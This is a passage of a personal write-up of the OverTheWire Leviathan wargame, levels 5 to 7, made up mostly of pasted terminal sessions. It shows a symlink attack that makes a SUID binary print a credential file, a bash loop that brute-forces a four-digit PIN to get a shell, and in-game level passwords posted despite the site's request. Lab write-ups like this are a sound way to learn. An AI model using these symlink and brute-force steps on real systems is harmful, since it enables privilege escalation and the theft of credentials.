directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
restricted so that users cannot snoop on eachother. Files and directories
with easily guessable or short names will be periodically deleted! The /tmp
directory is regularly wiped.
Please play nice:

* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
  This includes writeups of your solution on your blog or website!

--[ Tips ]--

This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:

-m32                compile for 32bit
-fno-stack-protector  disable ProPolice
-Wl,-z,norelro       disable relro

In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.

Finally, network-access is limited for most levels by a local
firewall.

--[ Tools ]--

For your convenience we have installed a few useful tools which you can find
in the following locations:

* gef (https://github.com/hugsy/gef) in /opt/gef/
* pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /opt/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)

--[ More information ]--

For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/

For support, questions or comments, contact us on discord or IRC.

```

```

❏ leviathan5@leviathan: ~
Enjoy your stay!

leviathan5@leviathan:~$ ls -la
total 36
drwxr-xr-x  2 root   root   4096 Jul 28 19:05 .
drwxr-xr-x 150 root   root   4096 Jul 28 19:06 ..
-rw-r--r--  1 root   root    220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root   root   3851 Jul 28 18:47 .bashrc
-r-sr-x--  1 leviathan6 leviathan5 15144 Jul 28 19:05 leviathan5
-rw-r--r--  1 root   root    807 Mar 31  2024 .profile
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log
leviathan5@leviathan:~$ ltrace ./leviathan5
__libc_start_main(0x804910d, 1, 0xffffd464, 0 <unfinished ...>
fopen("/tmp/file.log", "r")
puts("Cannot find /tmp/file.log"Cannot find /tmp/file.log
)
exit(-1 <no return ...>
+++ exited (status 255) +++
leviathan5@leviathan:~$ touch /tmp/file.log ; echo "ok" > /tmp/file.log
leviathan5@leviathan:~$ ltrace ./leviathan5
__libc_start_main(0x804910d, 1, 0xffffd464, 0 <unfinished ...>
fopen("/tmp/file.log", "r")
fgetc(0x804d1a0)
feof(0x804d1a0)
putchar(111, 0x804a008, 0, 0)
fgetc(0x804d1a0)
feof(0x804d1a0)
putchar(107, 0x804a008, 0, 0)
fgetc(0x804d1a0)
feof(0x804d1a0)
putchar(10, 0x804a008, 0, 0ok
)
fgetc(0x804d1a0)
feof(0x804d1a0)
fclose(0x804d1a0)
getuid()
setuid(12005)
unlink("/tmp/file.log")
+++ exited (status 0) +++
= 0
= 26
= 0x804d1a0
= 'o'
= 0
= 111
= 'k'
= 0
= 107
= '\n'
= 0
= 10
= '\377'
= 1
= 0
= 12005
= 0
= 0

```

```

leviathan5@leviathan: ~
getuid()                                = 12005
setuid(12005)                           = 0
unlink("/tmp/file.log")                 = 0
+++ exited (status 0) +++
leviathan5@leviathan:~$ cat /tmp/file.log
cat: /tmp/file.log: No such file or directory
leviathan5@leviathan:~$ touch /tmp/file.log ; echo "ok" > /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log
leviathan5@leviathan:~$ touch /tmp/file.log ; echo "ok" > /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
ok
leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@leviathan:~$ cat /tmp/file.log
cat: /tmp/file.log: Permission denied
leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
ln: failed to create symbolic link '/tmp/file.log': File exists
leviathan5@leviathan:~$ ./leviathan5
szo7HDB88w
leviathan5@leviathan:~$

```

Conclusion: Learned to manipulate inputs to passer-through functions in SUID binaries.

Level 6 → Level 7

Tools Used: ls, leviathan6 binary, bash loop brute-forcing, grep (optional), sleep

Objective: Brute-force a 4-digit PIN to gain shell.

Steps Followed:

1. SSH into Level 6. Noted leviathan6 binary.
2. Ran it; probably prompted for a PIN.
3. Brute-forced using script:
4. `for i in {0000..9999} ;do echo $i; ./leviathan6 $i ;done;`
Found the correct PIN and got shell as leviathan7.
5. Retrieved the final message.

Screenshots:

```
CS leviathan6@leviathan: ~  
Microsoft Windows [Version 10.0.26100.4946]  
(c) Microsoft Corporation. All rights reserved.  
C:\Windows\System32>ssh leviathan6@leviathan.labs.overthewire.org -p 2223
```

leviathan

This is an OverTheWire game server.
More information on <http://www.overthewire.org/wargames>

leviathan6@leviathan.labs.overthewire.org's password:

OverTheWire

Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on discord or IRC.

--[Playing the games]--

This machine might hold several wargames.
If you are playing "somegame", then:

- * USERNAMES are somegame0, somegame1, ...
- * Most LEVELS are stored in /somegame/.
- * PASSWORDS for each level are stored in /etc/somegame_pass/.

Write-access to homedirectories is disabled. It is advised to create a working directory with a hard-to-guess name in /tmp/. You can use the command "mktmp -d" in order to generate a random and hard to guess directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc

```
CS leviathan6@leviathan: ~  
Write-access to homedirectories is disabled. It is advised to create a working directory with a hard-to-guess name in /tmp/. You can use the command "mktmp -d" in order to generate a random and hard to guess directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc restricted so that users cannot snoop on eachother. Files and directories with easily guessable or short names will be periodically deleted! The /tmp directory is regularly wiped.  
Please play nice:
```

- * don't leave orphan processes running
 - * don't leave exploit files laying around
 - * don't annoy other players
 - * don't post passwords or spoilers
 - * again, DONT POST SPOILERS!
- This includes writeups of your solution on your blog or website!

--[Tips]--

This machine has a 64bit processor and many security-features enabled by default, although ASLR has been switched off. The following compiler flags might be interesting:

- | | |
|----------------------|-------------------|
| -m32 | compile for 32bit |
| -fno-stack-protector | disable ProPolice |
| -Wl,-z,norelro | disable relro |

In addition, the execstack tool can be used to flag the stack as executable on ELF binaries.

Finally, network-access is limited for most levels by a local firewall.

--[Tools]--

For your convenience we have installed a few useful tools which you can find in the following locations:

- * gef (<https://github.com/hugsy/gef>) in /opt/gef/
- * pwndbg (<https://github.com/pwndbg/pwndbg>) in /opt/pwndbg/
- * gdbinit (<https://github.com/gdbinit/Gdbinit>) in /opt/gdbinit/
- * pwntools (<https://github.com/Gallopsled/pwntools>)
- * radare2 (<http://www.radare.org/>)

--[More information]--

For more information regarding individual wargames, visit <http://www.overthewire.org/wargames/>

For support, questions or comments, contact us on discord or IRC.

```
leviathan6@leviathan: ~  
  
Enjoy your stay!  
  
leviathan6@leviathan:~$ ls -la  
total 36  
drwxr-xr-x  2 root    root      4096 Jul 28 19:05 .  
drwxr-xr-x 150 root    root      4096 Jul 28 19:06 ..  
-rw-r--r--  1 root    root       220 Mar 31  2024 .bash_logout  
-rw-r--r--  1 root    root     3851 Jul 28 18:47 .bashrc  
-r-sr-x---  1 leviathan7 leviathan6 15036 Jul 28 19:05 leviathan6  
-rw-r--r--  1 root    root       807 Mar 31  2024 .profile  
leviathan6@leviathan:~$ ./leviathan6  
usage: ./leviathan6 <4 digit code>  
leviathan6@leviathan:~$ ltrace ./leviathan6  
__libc_start_main(0x80490dd, 1, 0xffffd464, 0 <unfinished ...>  
printf("usage: %s <4 digit code>\n", "./leviathan6"usage: ./leviathan6 <4 digit code>  
)                                     = 35  
exit(-1 <no return ...>  
+++ exited (status 255) +++  
leviathan6@leviathan:~$ for i in {0000..9999} ;do echo $i; ./leviathan6 $i ;done;
```

```
leviathan6@leviathan: ~  
Wrong  
7102  
Wrong  
7103  
Wrong  
7104  
Wrong  
7105  
Wrong  
7106  
Wrong  
7107  
Wrong  
7108  
Wrong  
7109  
Wrong  
7110  
Wrong  
7111  
Wrong  
7112  
Wrong  
7113  
Wrong  
7114  
Wrong  
7115  
Wrong  
7116  
Wrong  
7117  
Wrong  
7118  
Wrong  
7119  
Wrong  
7120  
Wrong  
7121  
Wrong  
7122  
Wrong  
7123  
$ whoami  
leviathan7  
$ cat /etc/leviathan_pass/leviathan7  
qEs5Io5yM8  
$
```

Conclusion: Applied brute-forcing automation to solve the final binary challenge.

Level 7 → COMPLETION

Tools Used: ls, cat

Objective: Display the completion message.

Steps Followed:

1. Logged into leviathan7.
2. Ran ls -la, spotted CONGRATULATIONS.
3. Read it with:
4. cat CONGRATULATIONS

Screenshots:

```
leviathan7@leviathan: ~  
Microsoft Windows [Version 10.0.26100.4946]  
(c) Microsoft Corporation. All rights reserved.  
C:\Windows\System32>ssh leviathan7@leviathan.labs.overthewire.org -p 2223
```

```
leviathan
```

This is an OverTheWire game server.
More information on <http://www.overthewire.org/wargames>

```
leviathan7@leviathan.labs.overthewire.org's password:  
Permission denied, please try again.  
leviathan7@leviathan.labs.overthewire.org's password:
```

```
OverTheWire  
www.OverTheWire.org
```

Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on discord or IRC.

--[Playing the games]--

This machine might hold several wargames.
If you are playing "somegame", then:

- * USERNAMES are somegame0, somegame1, ...
- * Most LEVELS are stored in /somegame/.
- * PASSWORDS for each level are stored in /etc/somegame_pass/.

Write-access to homedirectories is disabled. It is advised to create a working directory with a hard-to-guess name in /tmp/. You can use the

```

leviathan7@leviathan: ~
Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
restricted so that users cannot snoop on eachother. Files and directories
with easily guessable or short names will be periodically deleted! The /tmp
directory is regularly wiped.
Please play nice:

* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
  This includes writeups of your solution on your blog or website!

--[ Tips ]--

This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:

-m32                compile for 32bit
-fno-stack-protector disable ProPolice
-Wl,-z,norelro       disable relro

In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.

Finally, network-access is limited for most levels by a local
firewall.

--[ Tools ]--

For your convenience we have installed a few useful tools which you can find
in the following locations:

* gef (https://github.com/hugsy/gef) in /opt/gef/
* pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
* gdbinit (https://github.com/gdbinit/gdbinit) in /opt/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)

--[ More information ]--

For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/

For support, questions or comments, contact us on discord or IRC.

```

```

leviathan7@leviathan: ~

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Enjoy your stay!

leviathan7@leviathan:~$ ls -la
total 24
drwxr-xr-x  2 root    root    4096 Jul 28 19:05 .
drwxr-xr-x 150 root    root    4096 Jul 28 19:06 ..
-rw-r--r--  1 root    root     220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root    root   3851 Jul 28 18:47 .bashrc
-r--r----- 1 leviathan7 leviathan7 178 Jul 28 19:05 CONGRATULATIONS
-rw-r--r--  1 root    root    807 Mar 31  2024 .profile
leviathan7@leviathan:~$ cat CONGRATULATIONS
Well Done, you seem to have used a *nix system before, now try something more serious.
(Please don't post writeups, solutions or spoilers about the games on the web. Thank you!)
leviathan7@leviathan:~$

```

Conclusion: Officially completed the Leviathan wargame—solid practice in Linux tooling and binary analysis.

-Made by
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Doundation)